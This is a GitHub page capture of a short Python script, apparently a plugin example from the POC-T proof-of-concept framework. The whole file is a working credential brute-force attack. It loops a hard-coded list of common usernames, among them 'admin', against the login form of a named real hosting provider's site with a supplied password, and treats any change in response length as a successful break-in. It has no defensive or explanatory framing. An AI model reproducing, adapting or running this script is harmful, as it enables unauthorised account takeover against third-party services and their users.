-
Notifications
You must be signed in to change notification settings - Fork 758
/
brute-example.py
executable file
·71 lines (62 loc) · 1.1 KB
/
brute-example.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# author = i@cdxy.me
# project = https://github.com/Xyntax/POC-T
"""
爆破脚本示例
POST方式提交表单
用户名 => list1
密码 => 外部传入
"""
import requests
list1 = [
'admin',
'zhangwei',
'wangf',
'wangjing',
'lixy',
'wangl',
'liq',
'wangm',
'liuy',
'zhangjie',
'wangq',
'zhangtao',
'zhangt',
'liuj',
'wangh',
'chenj',
'lid',
'lih',
'zhangp',
'zhangyl',
'yangy',
'liugy',
'zhanghong',
'wangym',
'wanglin',
'liux',
'chenc',
'gaof',
'lijg',
'yangw',
'wuxy',
'wanggf',
'chenjh'
]
def poc(i):
try:
for each in list1:
url = 'http://beijing.51idc.com/login'
d = {
'LoginId': str(each),
'LoginPasswd': str(i)
}
s = requests.session()
s.get(url=url)
r = s.post(url=url, data=d)
if not len(r.content) == 1809:
return True
return False
except Exception, e:
return False